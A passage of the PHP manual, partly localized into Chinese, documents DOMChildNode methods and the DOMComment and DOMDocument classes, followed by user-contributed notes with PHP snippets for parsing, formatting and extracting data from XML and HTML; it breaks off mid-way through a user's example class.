8.3.0 | Calling this method on a node without an owner document now works. Previously this threw a DOMException with code DOM_HIERARCHY_REQUEST_ERR.

参见

  • DOMChildNode::before() - Adds nodes before the node
  • DOMChildNode::remove() - Removes the node
  • DOMChildNode::replaceWith() - Replaces the node with new nodes
  • DOMNode::appendChild() - Adds new child at the end of the children

User Contributed Notes

There are no user contributed notes for this page.


Adds nodes before the node

  • ? DOMChildNode::after
  • DOMChildNode::remove ?
  • PHP Manual
  • DOMChildNode
  • Adds nodes before the node

DOMChildNode::before

(PHP 8)

DOMChildNode::before — Adds nodes before the node

说明

public DOMChildNode::before(DOMNode|string ...$nodes): void

Adds the passed nodes before the node.

参数

nodes

Nodes to be added before the node. Strings are automatically converted to text nodes.

返回值

没有返回值。

错误／异常

DOM_HIERARCHY_REQUEST_ERR

Raised if the parent is of a type that does not allow children of the type of one of the passed nodes, or if the node to put in is one of this node's ancestors or this node itself.

DOM_WRONG_DOCUMENT_ERR

Raised if one of the passed nodes was created from a different document than the one that created this node.

更新日志

版本 | 说明
8.3.0 | Calling this method on a node without a parent is now a no-op to align the behaviour with the DOM specification. Previously this threw a DOMException with code DOM_HIERARCHY_REQUEST_ERR.

参见

  • DOMChildNode::after() - Adds nodes after the node
  • DOMChildNode::remove() - Removes the node
  • DOMChildNode::replaceWith() - Replaces the node with new nodes

User Contributed Notes

There are no user contributed notes for this page.


Removes the node

  • ? DOMChildNode::before
  • DOMChildNode::replaceWith ?
  • PHP Manual
  • DOMChildNode
  • Removes the node

DOMChildNode::remove

(PHP 8)

DOMChildNode::remove — Removes the node

说明

public DOMChildNode::remove(): void

Removes the node.

参数

此函数没有参数。

返回值

没有返回值。

参见

  • DOMChildNode::after() - Adds nodes after the node
  • DOMChildNode::before() - Adds nodes before the node
  • DOMChildNode::replaceWith() - Replaces the node with new nodes
  • DOMNode::removeChild() - Removes child from list of children

User Contributed Notes

There are no user contributed notes for this page.


Replaces the node with new nodes

  • ? DOMChildNode::remove
  • DOMComment ?
  • PHP Manual
  • DOMChildNode
  • Replaces the node with new nodes

DOMChildNode::replaceWith

(PHP 8)

DOMChildNode::replaceWith — Replaces the node with new nodes

说明

public DOMChildNode::replaceWith(DOMNode|string ...$nodes): void

Replaces the node with new nodes.

参数

nodes

The replacement nodes. Strings are automatically converted to text nodes.

返回值

没有返回值。

错误／异常

DOM_HIERARCHY_REQUEST_ERR

Raised if the parent is of a type that does not allow children of the type of one of the passed nodes, or if the node to put in is one of this node's ancestors or this node itself.

DOM_WRONG_DOCUMENT_ERR

Raised if one of the passed nodes was created from a different document than the one that created this node.

更新日志

版本 | 说明
8.3.0 | Calling this method on a node without a parent is now a no-op to align the behaviour with the DOM specification. Previously this threw a DOMException with code DOM_HIERARCHY_REQUEST_ERR.

参见

  • DOMChildNode::after() - Adds nodes after the node
  • DOMChildNode::before() - Adds nodes before the node
  • DOMChildNode::remove() - Removes the node
  • DOMNode::replaceChild() - Replaces a child

User Contributed Notes

There are no user contributed notes for this page.


The DOMComment class

(PHP 5, PHP 7, PHP 8)

简介

Represents comment nodes, characters delimited by <!-- and -->.

类摘要

class DOMComment extends DOMCharacterData {
/* 继承的属性 */
public string $data;
public readonly int $length;
public readonly ?DOMElement $previousElementSibling;
public readonly ?DOMElement $nextElementSibling;
public readonly string $nodeName;
public ?string $nodeValue;
public readonly int $nodeType;
public readonly ?DOMNode $parentNode;
public readonly ?DOMElement $parentElement;
public readonly DOMNodeList $childNodes;
public readonly ?DOMNode $firstChild;
public readonly ?DOMNode $lastChild;
public readonly ?DOMNode $previousSibling;
public readonly ?DOMNode $nextSibling;
public readonly ?DOMNamedNodeMap $attributes;
public readonly bool $isConnected;
public readonly ?DOMDocument $ownerDocument;
public readonly ?string $namespaceURI;
public string $prefix;
public readonly ?string $localName;
public readonly ?string $baseURI;
public string $textContent;
/* 方法 */
public __construct(string $data = "")
/* 继承的方法 */
public DOMCharacterData::after(DOMNode|string ...$nodes): void
public DOMCharacterData::appendData(string $data): true
public DOMCharacterData::before(DOMNode|string ...$nodes): void
public DOMCharacterData::deleteData(int $offset, int $count): bool
public DOMCharacterData::insertData(int $offset, string $data): bool
public DOMCharacterData::remove(): void
public DOMCharacterData::replaceData(int $offset, int $count, string $data): bool
public DOMCharacterData::replaceWith(DOMNode|string ...$nodes): void
public DOMCharacterData::substringData(int $offset, int $count): string|false
public DOMNode::appendChild(DOMNode $node): DOMNode|false
public DOMNode::C14N(
bool $exclusive = false,
bool $withComments = false,
?array $xpath = null,
?array $nsPrefixes = null
): string|false
public DOMNode::C14NFile(
string $uri,
bool $exclusive = false,
bool $withComments = false,
?array $xpath = null,
?array $nsPrefixes = null
): int|false
public DOMNode::cloneNode(bool $deep = false): DOMNode|false
public DOMNode::contains(DOMNode|DOMNameSpaceNode|null $other): bool
public DOMNode::getLineNo(): int
public DOMNode::getNodePath(): ?string
public DOMNode::getRootNode(array $options = null): DOMNode
public DOMNode::hasAttributes(): bool
public DOMNode::hasChildNodes(): bool
public DOMNode::insertBefore(DOMNode $node, ?DOMNode $child = null): DOMNode|false
public DOMNode::isDefaultNamespace(string $namespace): bool
public DOMNode::isEqualNode(?DOMNode $otherNode): bool
public DOMNode::isSameNode(DOMNode $otherNode): bool
public DOMNode::isSupported(string $feature, string $version): bool
public DOMNode::lookupNamespaceURI(?string $prefix): ?string
public DOMNode::lookupPrefix(string $namespace): ?string
public DOMNode::normalize(): void
public DOMNode::removeChild(DOMNode $child): DOMNode|false
public DOMNode::replaceChild(DOMNode $node, DOMNode $child): DOMNode|false
}

参见

  • » W3C specification of Comment

Table of Contents

  • DOMComment::__construct — Creates a new DOMComment object

User Contributed Notes

npelov at croler dot net 09-Sep-2021 04:41
Note that textContent property of a comment is not entity decoded, it is decoded in DOMElement::textContent :

<?php

   $xml = new DOMDocument();
    $xml->loadXML('<?xml version="1.0" encoding="utf-8"?>
      <configuration version="2">
      <!-- test &#45;&#45;&gt; -->
      test &#45;&#45;&gt;
      </configuration>'
    );
$xpath = new DOMXPath($xml);
$comments = $xpath->query('//comment()');
$elements = $xpath->query('//configuration');

echo $comments[0]->textContent;
// result: test &#45;&#45;&gt;

echo $elements[0]->textContent;
// result: test -->

?>


Creates a new DOMComment object

  • ? DOMComment
  • DOMDocument ?
  • PHP Manual
  • DOMComment
  • Creates a new DOMComment object

DOMComment::__construct

(PHP 5, PHP 7, PHP 8)

DOMComment::__construct — Creates a new DOMComment object

说明

public DOMComment::__construct(string $data = "")

Creates a new DOMComment object. This object is read only. It may be appended to a document, but additional nodes may not be appended to this node until the node is associated with a document. To create a writeable node, use DOMDocument::createComment.

参数

data

The value of the comment.

示例

Example #1 Creating a new DOMComment

<?php

$dom = new DOMDocument('1.0', 'iso-8859-1');
$element = $dom->appendChild(new DOMElement('root'));
$comment = $element->appendChild(new DOMComment('root comment'));
echo $dom->saveXML(); /* <?xml version="1.0" encoding="iso-8859-1"?><root><!--root comment--></root> */

?>

参见

  • DOMDocument::createComment() - Create new comment node

User Contributed Notes

There are no user contributed notes for this page.


The DOMDocument class

(PHP 5, PHP 7, PHP 8)

简介

Represents an entire HTML or XML document; serves as the root of the document tree.

类摘要

class DOMDocument extends DOMNode implements DOMParentNode {
/* 属性 */
public readonly ?DOMDocumentType $doctype;
public readonly DOMImplementation $implementation;
public readonly ?DOMElement $documentElement;
public readonly ?string $actualEncoding;
public ?string $encoding;
public readonly ?string $xmlEncoding;
public bool $standalone;
public bool $xmlStandalone;
public ?string $version;
public ?string $xmlVersion;
public bool $strictErrorChecking;
public ?string $documentURI;
public readonly mixed $config;
public bool $formatOutput;
public bool $validateOnParse;
public bool $resolveExternals;
public bool $preserveWhiteSpace;
public bool $recover;
public bool $substituteEntities;
public readonly ?DOMElement $firstElementChild;
public readonly ?DOMElement $lastElementChild;
public readonly int $childElementCount;
/* 继承的属性 */
public readonly string $nodeName;
public ?string $nodeValue;
public readonly int $nodeType;
public readonly ?DOMNode $parentNode;
public readonly ?DOMElement $parentElement;
public readonly DOMNodeList $childNodes;
public readonly ?DOMNode $firstChild;
public readonly ?DOMNode $lastChild;
public readonly ?DOMNode $previousSibling;
public readonly ?DOMNode $nextSibling;
public readonly ?DOMNamedNodeMap $attributes;
public readonly bool $isConnected;
public readonly ?DOMDocument $ownerDocument;
public readonly ?string $namespaceURI;
public string $prefix;
public readonly ?string $localName;
public readonly ?string $baseURI;
public string $textContent;
/* 方法 */
public __construct(string $version = "1.0", string $encoding = "")
public adoptNode(DOMNode $node): DOMNode|false
public append(DOMNode|string ...$nodes): void
public createAttribute(string $localName): DOMAttr|false
public createAttributeNS(?string $namespace, string $qualifiedName): DOMAttr|false
public createCDATASection(string $data): DOMCdataSection|false
public createComment(string $data): DOMComment
public createDocumentFragment(): DOMDocumentFragment
public createElement(string $localName, string $value = ""): DOMElement|false
public createElementNS(?string $namespace, string $qualifiedName, string $value = ""): DOMElement|false
public createEntityReference(string $name): DOMEntityReference|false
public createProcessingInstruction(string $target, string $data = ""): DOMProcessingInstruction|false
public createTextNode(string $data): DOMText
public getElementById(string $elementId): ?DOMElement
public getElementsByTagName(string $qualifiedName): DOMNodeList
public getElementsByTagNameNS(?string $namespace, string $localName): DOMNodeList
public importNode(DOMNode $node, bool $deep = false): DOMNode|false
public load(string $filename, int $options = 0): bool
public loadHTML(string $source, int $options = 0): bool
public loadHTMLFile(string $filename, int $options = 0): bool
public loadXML(string $source, int $options = 0): bool
public normalizeDocument(): void
public prepend(DOMNode|string ...$nodes): void
public registerNodeClass(string $baseClass, ?string $extendedClass): bool
public relaxNGValidate(string $filename): bool
public relaxNGValidateSource(string $source): bool
public replaceChildren(DOMNode|string ...$nodes): void
public save(string $filename, int $options = 0): int|false
public saveHTML(?DOMNode $node = null): string|false
public saveHTMLFile(string $filename): int|false
public saveXML(?DOMNode $node = null, int $options = 0): string|false
public schemaValidate(string $filename, int $flags = 0): bool
public schemaValidateSource(string $source, int $flags = 0): bool
public validate(): bool
public xinclude(int $options = 0): int|false
/* 继承的方法 */
public DOMNode::appendChild(DOMNode $node): DOMNode|false
public DOMNode::C14N(
bool $exclusive = false,
bool $withComments = false,
?array $xpath = null,
?array $nsPrefixes = null
): string|false
public DOMNode::C14NFile(
string $uri,
bool $exclusive = false,
bool $withComments = false,
?array $xpath = null,
?array $nsPrefixes = null
): int|false
public DOMNode::cloneNode(bool $deep = false): DOMNode|false
public DOMNode::contains(DOMNode|DOMNameSpaceNode|null $other): bool
public DOMNode::getLineNo(): int
public DOMNode::getNodePath(): ?string
public DOMNode::getRootNode(array $options = null): DOMNode
public DOMNode::hasAttributes(): bool
public DOMNode::hasChildNodes(): bool
public DOMNode::insertBefore(DOMNode $node, ?DOMNode $child = null): DOMNode|false
public DOMNode::isDefaultNamespace(string $namespace): bool
public DOMNode::isEqualNode(?DOMNode $otherNode): bool
public DOMNode::isSameNode(DOMNode $otherNode): bool
public DOMNode::isSupported(string $feature, string $version): bool
public DOMNode::lookupNamespaceURI(?string $prefix): ?string
public DOMNode::lookupPrefix(string $namespace): ?string
public DOMNode::normalize(): void
public DOMNode::removeChild(DOMNode $child): DOMNode|false
public DOMNode::replaceChild(DOMNode $node, DOMNode $child): DOMNode|false
}

属性

actualEncoding

Deprecated. Actual encoding of the document, is a readonly equivalent to encoding.

childElementCount

The number of child elements.

config

Deprecated. Configuration used when DOMDocument::normalizeDocument() is invoked.

doctype

The Document Type Declaration associated with this document.

documentElement

The DOMElement object that is the first document element. If not found, this evaluates to null.

documentURI

The location of the document or null if undefined.

encoding

Encoding of the document, as specified by the XML declaration. This attribute is not present in the final DOM Level 3 specification, but is the only way of manipulating XML document encoding in this implementation.

firstElementChild

First child element or null.

formatOutput

Nicely formats output with indentation and extra space. This has no effect if the document was loaded with preserveWhitespace enabled.

implementation

The DOMImplementation object that handles this document.

lastElementChild

Last child element or null.

preserveWhiteSpace

Do not remove redundant white space. Default to true. Setting this to false has the same effect as passing LIBXML_NOBLANKS as option to DOMDocument::load() etc.

recover

Proprietary. Enables recovery mode, i.e. trying to parse non-well formed documents. This attribute is not part of the DOM specification and is specific to libxml.

resolveExternals

Set it to true to load external entities from a doctype declaration. This is useful for including character entities in your XML document.

standalone

Deprecated. Whether or not the document is standalone, as specified by the XML declaration, corresponds to xmlStandalone.

strictErrorChecking

Throws DOMException on errors. Default to true.

substituteEntities

Proprietary. Whether or not to substitute entities. This attribute is not part of the DOM specification and is specific to libxml. Default to false.

Caution

Enabling entity substitution may facilitate XML External Entity (XXE) attacks.

validateOnParse

Loads and validates against the DTD. Default to false.

Caution

Enabling validating the DTD may facilitate XML External Entity (XXE) attacks.

version

Deprecated. Version of XML, corresponds to xmlVersion.

xmlEncoding

An attribute specifying, as part of the XML declaration, the encoding of this document. This is null when unspecified or when it is not known, such as when the Document was created in memory.

xmlStandalone

An attribute specifying, as part of the XML declaration, whether this document is standalone. This is false when unspecified.

xmlVersion

An attribute specifying, as part of the XML declaration, the version number of this document. If there is no declaration and if this document supports the "XML" feature, the value is "1.0".

更新日志

版本 | 说明
8.0.0 | DOMDocument implements DOMParentNode now.
8.0.0 | The unimplemented method DOMDocument::renameNode() has been removed.

注释

Note:

此 DOM 扩展采用 UTF-8 编码。使用 mb_convert_encoding()、UConverter::transcode() 或 iconv() 来处理其它编码。

Note:

When using json_encode() on a DOMDocument object the result will be that of encoding an empty object.

参见

  • » W3C specification for Document

Table of Contents

  • DOMDocument::adoptNode — Transfer a node from another document
  • DOMDocument::append — Appends nodes after the last child node
  • DOMDocument::__construct — Creates a new DOMDocument object
  • DOMDocument::createAttribute — Create new attribute
  • DOMDocument::createAttributeNS — Create new attribute node with an associated namespace
  • DOMDocument::createCDATASection — Create new cdata node
  • DOMDocument::createComment — Create new comment node
  • DOMDocument::createDocumentFragment — Create new document fragment
  • DOMDocument::createElement — Create new element node
  • DOMDocument::createElementNS — Create new element node with an associated namespace
  • DOMDocument::createEntityReference — Create new entity reference node
  • DOMDocument::createProcessingInstruction — Creates new PI node
  • DOMDocument::createTextNode — Create new text node
  • DOMDocument::getElementById — Searches for an element with a certain id
  • DOMDocument::getElementsByTagName — Searches for all elements with given local tag name
  • DOMDocument::getElementsByTagNameNS — Searches for all elements with given tag name in specified namespace
  • DOMDocument::importNode — Import node into current document
  • DOMDocument::load — Load XML from a file
  • DOMDocument::loadHTML — Load HTML from a string
  • DOMDocument::loadHTMLFile — Load HTML from a file
  • DOMDocument::loadXML — Load XML from a string
  • DOMDocument::normalizeDocument — Normalizes the document
  • DOMDocument::prepend — Prepends nodes before the first child node
  • DOMDocument::registerNodeClass — Register extended class used to create base node type
  • DOMDocument::relaxNGValidate — Performs relaxNG validation on the document
  • DOMDocument::relaxNGValidateSource — Performs relaxNG validation on the document
  • DOMDocument::replaceChildren — Replace children in document
  • DOMDocument::save — Dumps the internal XML tree back into a file
  • DOMDocument::saveHTML — Dumps the internal document into a string using HTML formatting
  • DOMDocument::saveHTMLFile — Dumps the internal document into a file using HTML formatting
  • DOMDocument::saveXML — Dumps the internal XML tree back into a string
  • DOMDocument::schemaValidate — Validates a document based on a schema. Only XML Schema 1.0 is supported.
  • DOMDocument::schemaValidateSource — Validates a document based on a schema
  • DOMDocument::validate — Validates the document based on its DTD
  • DOMDocument::xinclude — Substitutes XIncludes in a DOMDocument Object

User Contributed Notes

610010559 at qq dot com 17-Mar-2022 02:39
when you add the new element to formatted XML data through appendChild() method, you would the new element you add is not be formatted(that is not indexed, not line break).  here is my solution (in short load the xml without preserve white space, ), example show as below:
<?php
$doc = new \DOMDocument();
$doc->formatOutput = true;
$doc->preserveWhiteSpace = false;//that is key, default value is true.
$doc->loadXML($xmlStr);
$doc->appendChild($doc->createElement('php', '666'))
$formattedXMLStr = $doc->saveXML();//DOMDocument wold format the xml str for you
echo $formattedXMlStr;
?>
it take me some time to try it out. hope it save your time.
andreas at userbrain dot com 17-Nov-2021 01:16
After struggling with parsing and modifying partial HTML content for several hours, I came to this solution which does work for me and is relatively simple compared to what else I found online.

This solution fixes unwanted DOCTYPE and html, body tags as well as encoding issues.

<?php

// Assumption: content is utf-8 encoded
$content = "<h1>This is a heading</h1><p>This is a paragraph</p>";

// Load content to a div and specify encoding with a meta tag
$temp_dom = new DOMDocument();
$temp_dom->loadHTML("<meta http-equiv='Content-Type' content='CHARSET=gb2312' /><div>$content</div>");

// As loadHTML() adds a DOCTYPE as well as <html> and <body> tag, let's create another DOMDocument and import just the nodes we want
$dom = new DOMDocument();
$first_div = $temp_dom->getElementsByTagName('div')[0];
$first_div_node = $dom->importNode($first_div, true);
$dom->appendChild($first_div_node);

// Do whatever you want to do
$dom->getElementsByTagName('h1')[0]->setAttribute('class', 'happy');

// You could also just echo $dom->saveHtml() if you don't mind the div and whitespace
echo substr(trim($dom->saveHtml()), 5, -6);

// Outputs: <h1 class="happy">This is a heading</h1><p>This is a paragraph</p>
?>
pastormontesinos at gmail dot com 04-Mar-2021 10:34
For using safely with script nodes when parsing, best option is extending DOMDocument, keeping script tags while DOMDocument process and rearrange them just after saveHTML function is called. Here is my custom class.

<?php

class SafeDOMDocument extends \DOMDocument
{
    const REGEX_JS            = '#(\s*<!--(\[if[^\n]*>)?\s*(<script.*</script>)+\s*(<!\[endif\])?-->)|(\s*<script.*</script>)#isU';
    const SUBSTITUTION_FORMAT = '<!--<script class="script_%s"></script>-->';
    private $matchedScripts = [];

    public function loadHTML($source, $options = 0)
    {
        $this->formatOutput        = false;
        $this->preserveWhiteSpace  = true;
        $this->validateOnParse     = false;
        $this->strictErrorChecking = false;
        $this->recover             = false;
        $this->resolveExternals    = false;
        $this->substituteEntities  = false;
        $matches = [];
        $success = preg_match_all(self::REGEX_JS, $source, $matches);

        if ($success && !empty($matches)) {
            foreach ($matches[0] as $match) {
                $storedScript = rtrim(ltrim($match, "\n\r\t "), "\n\r\t ");
                $scriptId = md5($storedScript);
                $key = sprintf(self::SUBSTITUTION_FORMAT, $scriptId);
                $source = str_replace($match, $key, $source);
                $this->matchedScripts[$key] = $storedScript;
            }
        }

        return parent::loadHTML($source, $options);
    }

    public function saveHTML(DOMNode $node = null)
    {
        $output = parent::saveHTML($node);

        if (count($this->matchedScripts)) {
            foreach ($this->matchedScripts as $substitution => $originalSnippet) {
                $output = str_replace($substitution, $originalSnippet, $output);
            }
        }

        return $output;
    }
}
?>
ashjkshdu283 at gmail dot com 07-Jul-2018 11:39
/* Function evolved from jay at jaygilford dot com post
  * This function will return an array of the values of the specified
  * attribute ($attr) for all the Dom Document object's elements
  */

<?php

function getAttrData(string $attr, DomDocument $dom) {
    // Empty array to hold all classes to return
    $attrData = array();

    //Loop through each tag in the dom and add it's attribute data to the array
    foreach($dom->getElementsByTagName('*') as $tag) {
        if(empty($tag->getAttribute($attr)) === false) {
            array_push($attrData, $tag->getAttribute($attr));
        }
    }

    //Return the array of attribute data
    return array_unique($attrData);
}

$html = '
<!DOCTYPE html>
<html>
<head>
<title>Page Title</title>
</head>
<body>
<a href="#someLink" id="someLink" class="link-class">Some Link</a>
<a href="#someOtherLink" id="someOtherLink" class="link-class">Some Other Link</a>
<h1 id="header1" class="header-class">My First Heading</h1>
<p id="para1" class="para-class">My first paragraph.</p>
</body>
</html>';
$dom = new DOMDocument();
$dom->loadHtml($html);
$dom->saveHTML();
var_dump(getAttrData('class', $dom));
biker dot mike at gmx dot com 22-Aug-2016 01:36
Look out for the following gotcha when loading XML from a string:

<?php
$doc = new \DOMDocument;
$doc->documentURI = $myXmlFilename;
$doc->loadXML($myXmlString);
?>

documentURI is now set to the value of $myXmlFilename, right?

Wrong!

It's set to the current working directory.  If you want to manually set documentURI to something other than the CWD, do so AFTER the call to loadXML().

E.g.:
<?php
$doc = new \DOMDocument;
$doc->loadXML($myXmlString);
$doc->documentURI = $myXmlFilename;
?>

documentURI really is now set to the value of $myXmlFilename.
developer at nabtron dot com 17-Dec-2015 07:34
For those landing here and checking for encoding issue with utf-8 characteres, it's pretty easy to correct it, without adding any additional output tag to your html.

We'll be utilizing: mb_convert_encoding

Thanks to the user who shared: SmartDOMDocument in previous comments, I got the idea of solving it. However I truly wish that he shared the method instead of giving a link.

Anyway coming back to the solution, you can simply use:

<?php

            // checks if the content we're receiving isn't empty, to avoid the warning
            if ( empty( $content ) ) {
                return false;
            }

            // converts all special characters to utf-8
            $content = mb_convert_encoding($content, 'HTML-ENTITIES', 'UTF-8');

            // creating new document
            $doc = new DOMDocument('1.0', 'utf-8');

            //turning off some errors
            libxml_use_internal_errors(true);

            // it loads the content without adding enclosing html/body tags and also the doctype declaration
            $doc->LoadHTML($content, LIBXML_HTML_NOIMPLIED | LIBXML_HTML_NODEFDTD);

            // do whatever you want to do with this code now

?>

I hope it solves the issue for someone! If you need my help or service to fix your code, you can reach me on nabtron.com or contact me at the email mentioned with this comment.
ingjetel at gmail dot com 13-May-2015 11:54
Easy function for basic output of XML file via DOM parsing

<?php
$dom = new DomDocument();
$dom->load("./file.xml") or die("error");
$start = $dom->documentElement;
fc($start);

function fc($node) {
  $child = $node->childNodes;
  foreach($child as $item) {
    if ($item->nodeType == XML_TEXT_NODE) {
      if (strlen(trim($item->nodeValue))) echo trim($item->nodeValue)."<br/>";
    }
    else if ($item->nodeType == XML_ELEMENT_NODE) fc($item);
  }
}
?>
qrworld.net 11-Nov-2014 04:35
In this post http://softontherocks.blogspot.com/2014/11/descargar-el-contenido-de-una-url_11.html I found a simple way to get the content of a URL with DOMDocument, loadHTMLFile and saveHTML().

function getURLContent($url){
    $doc = new DOMDocument;
    $doc->preserveWhiteSpace = FALSE;
    @$doc->loadHTMLFile($url);
    return $doc->saveHTML();
}
danny dot nunez15 at gmail dot com 28-Oct-2013 02:54
A simple function to grab all links in a page.

    function get_links($url) {

        // Create a new DOM Document to hold our webpage structure
        $xml = new DOMDocument();

        // Load the url's contents into the DOM

        $xml->loadHTMLFile($url);

        // Empty array to hold all links to return
        $links = array();

        //Loop through each <a> tag in the dom and add it to the link array
        foreach ($xml->getElementsByTagName('a') as $link) {
            $url = $link->getAttribute('href');
            if (!empty($url)) {
                $links[] = $link->getAttribute('href');
            }
        }

        //Return the links
        return $links;
    }
sites.sitesbr.net 22-Jan-2013 12:37
How to objetify a DomDocument with hierarchy like:
<root>
    <item>
          <prop1>info1</prop1>
          <prop2>info2</prop2>
          <prop3>info3</prop3>
     </item>
    <item>
          <prop1>info1</prop1>
          <prop2>info2</prop2>
          <prop3>info3</prop3>
     </item>
</root>

It's possible to use in object style to retrieve information, as:

<?php
     $theNodeValue = $aitem->prop1;
?>

Here is the code: one Class and 2 functions.

<?php
 class ArrayNode{
       public $nodeName, $nodeValue;
 }

 function getChildNodeElements( $domNode ){
     $nodes = array();
     for( $i=0; $i < $domNode->childNodes->length; $i++){
       $cn = $domNode->childNodes->item($i);
       if( $cn->nodeType == 1){
           $nodes[] = $cn;
           }
     }
    return $nodes;
 }

 function getArrayNodes( $domDoc ){
     $res = array();

       for( $i=0; $i < $domDoc->childNodes->length; $i++){
       $cn = $domDoc->childNodes->item($i);
       # The first is the root tag...
          if( $cn->nodeType == 1){
               # But we want it's childNodes.
                $sub_cn = getChildNodeElements( $cn);
                # Found the tagName:
                $baseItemTagName = $sub_cn[0]->nodeName;
                break;
            }
        }

       $dnl = $domDoc->getElementsByTagName( $baseItemTagName);

       for( $i=0; $i< $dnl->length; $i++){
          $arrayNode = new ArrayNode();

      # Summary
      $arrayNode->nodeName = $dnl->item($i)->nodeName;
      $arrayNode->nodeValue = $dnl->item($i)->nodeValue;

      # Child Nodes
      $cn = $dnl->item($i)->childNodes;
      for( $k=0; $k<$cn->length; $k++){
           if( $cn->item($k)->nodeName == "#text" && trim($cn->item($k)->nodeValue) == "") continue;
           $arrayNode->{$cn->item($k)->nodeName} = $cn->item($k)->nodeValue;
      }

      # Attributes
      $attr = $dnl->item($i)->attributes;
      for( $k=0; $k < $attr->length; $k++){
           if(! is_null($attr)){
            if( $attr->item($k)->nodeName == "#text" && trim($attr->item($k)->nodeValue) == "") continue;
            $arrayNode->{$attr->item($k)->nodeName} = $attr->item($k)->nodeValue;
           }
      }

      $res[] = $arrayNode;

       }

     return $res;
 }
?>

To use it:

<?php

  # First you load a XML in a DomDocument variable.

   $url = "/path/to/yourxmlfile.xml";
   $domSrc = file_get_contents($url);
   $dom = new DomDocument();
   $dom->loadXML( $domSrc );

  # Then, you get the ArrayNodes from the DomDocument.

    $ans = getArrayNodes( $dom );

    for( $i=0; $i < count( $ans ) ; $i++){

    $cn =  $ans[ $i];

    $info1 =  $cn->prop1;
    $info2 =  $cn->prop2;
    $info3 =  $cn->prop3;

         // ...

   }

?>
Nick M 01-Jun-2011 10:16
You may need to save all or part of a DOMDocument as an XHTML-friendly string, something compliant with both XML and HTML 4. Here's the DOMDocument class extended with a saveXHTML method:

<?php

/**
 * XHTML Document
 *
 * Represents an entire XHTML DOM document; serves as the root of the document tree.
 */
class XHTMLDocument extends DOMDocument {

  /**
   * These tags must always self-terminate. Anything else must never self-terminate.
   *
   * @var array
   */
  public $selfTerminate = array(
      'area','base','basefont','br','col','frame','hr','img','input','link','meta','param'
  );

  /**
   * saveXHTML
   *
   * Dumps the internal XML tree back into an XHTML-friendly string.
   *
   * @param DOMNode $node
   *         Use this parameter to output only a specific node rather than the entire document.
   */
  public function saveXHTML(DOMNode $node=null) {

    if (!$node) $node = $this->firstChild;

    $doc = new DOMDocument('1.0');
    $clone = $doc->importNode($node->cloneNode(false), true);
    $term = in_array(strtolower($clone->nodeName), $this->selfTerminate);
    $inner='';

    if (!$term) {
      $clone->appendChild(new DOMText(''));
      if ($node->childNodes) foreach ($node->childNodes as $child) {
        $inner .= $this->saveXHTML($child);
      }
    }

    $doc->appendChild($clone);
    $out = $doc->saveXML($clone);

    return $term ? substr($out, 0, -2) . ' />' : str_replace('><', ">$inner<", $out);

  }

}

?>

This hasn't been benchmarked, but is probably significantly slower than saveXML or saveHTML and should be used sparingly.
evert at er dot nl 20-Nov-2010 02:17
A nice and simple node 2 array I wrote, worth a try ;)

<?php
function getArray($node)
{
    $array = false;

    if ($node->hasAttributes())
    {
        foreach ($node->attributes as $attr)
        {
            $array[$attr->nodeName] = $attr->nodeValue;
        }
    }

    if ($node->hasChildNodes())
    {
        if ($node->childNodes->length == 1)
        {
            $array[$node->firstChild->nodeName] = $node->firstChild->nodeValue;
        }
        else
        {
            foreach ($node->childNodes as $childNode)
            {
                if ($childNode->nodeType != XML_TEXT_NODE)
                {
                    $array[$childNode->nodeName][] = $this->getArray($childNode);
                }
            }
        }
    }

    return $array;
}
?>
admin at beerpla dot net 12-Mar-2010 02:12
After seeing many complaints about certain DOMDocument shortcomings, such as bad handling of encodings and always saving HTML fragments with <html>, <head>, and DOCTYPE, I decided that a better solution is needed.

So here it is: SmartDOMDocument. You can find it at http://beerpla.net/projects/smartdomdocument/

Currently, the main highlights are:

- SmartDOMDocument inherits from DOMDocument, so it's very easy to use - just declare an object of type SmartDOMDocument instead of DOMDocument and enjoy the new behavior on top of all existing functionality (see example below).

- saveHTMLExact() - DOMDocument has an extremely badly designed "feature" where if the HTML code you are loading does not contain <html> and <body> tags, it adds them automatically (yup, there are no flags to turn this behavior off).
Thus, when you call $doc->saveHTML(), your newly saved content now has <html><body> and DOCTYPE in it. Not very handy when trying to work with code fragments (XML has a similar problem).
SmartDOMDocument contains a new function called saveHTMLExact() which does exactly what you would want - it saves HTML without adding that extra garbage that DOMDocument does.

- encoding fix - DOMDocument notoriously doesn't handle encoding (at least UTF-8) correctly and garbles the output.
SmartDOMDocument tries to work around this problem by enhancing loadHTML() to deal with encoding correctly. This behavior is transparent to you - just use loadHTML() as you would normally.

- SmartDOMDocument Object As String - you can use a SmartDOMDocument object as a string which will print out its contents.
For example:
<?php
echo "Here is the HTML: $smart_dom_doc";
?>

I'm going to maintain this code and try to fix bugs as they come in.

Enjoy.
tloach at gmail dot com 05-Feb-2010 10:01
For anyone else who has been having issues with formatOuput not working, here is a work-around:

rather than just doing something like:

<?php
$outXML = $xml->saveXML();
?>

force it to reload the XML from scratch, then it will format correctly:

<?php
$outXML = $xml->saveXML();
$xml = new DOMDocument();
$xml->preserveWhiteSpace = false;
$xml->formatOutput = true;
$xml->loadXML($outXML);
$outXML = $xml->saveXML();
?>
jay at jaygilford dot com 27-Jan-2010 08:46
Here's a small function I wrote to get all page links using the DOMDocument which will hopefully be of use to others

<?php
/**
 * @author Jay Gilford
 */

/**
 * get_links()
 *
 * @param string $url
 * @return array
 */
function get_links($url) {

    // Create a new DOM Document to hold our webpage structure
    $xml = new DOMDocument();

    // Load the url's contents into the DOM
    $xml->loadHTMLFile($url);

    // Empty array to hold all links to return
    $links = array();

    //Loop through each <a> tag in the dom and add it to the link array
    foreach($xml->getElementsByTagName('a') as $link) {
        $links[] = array('url' => $link->getAttribute('href'), 'text' => $link->nodeValue);
    }

    //Return the links
    return $links;
}
?>
fcartegnie 31-Oct-2009 01:30
Be careful with formatOutput().

Creating an empty node like this:
createElement('foo','')
instead of
createElement('foo')
will break formatOutput.
PhilipWayneRollins at gmail dot com 15-Aug-2009 01:32
If you want to use the DOMDocument to create xHTML documents here is a simple class

Note this is designed for creating xHTML documents from scratch but could be easily extended to work with xHTML documents. Also this is for xHTML not XML.

<?php
    class Document
    {
        public $doctype;
        public $head;
        public $title = 'Sensei Ninja';
        public $body;
        private $styles;
        private $metas;
        private $scripts;
        private $document;

        function __construct (  )
        {
            $this->document = new DOMDocument( );
            $this->head = $this->document->createElement( 'head', ' ' );
            $this->body = $this->document->createElement( 'body', ' ' );
        }

        public function addStyleSheet ( $url, $media='all' )
        {
            $element = $this->document->createElement( 'link' );
            $element->setAttribute( 'type', 'text/css' );
            $element->setAttribute( 'href', $url );
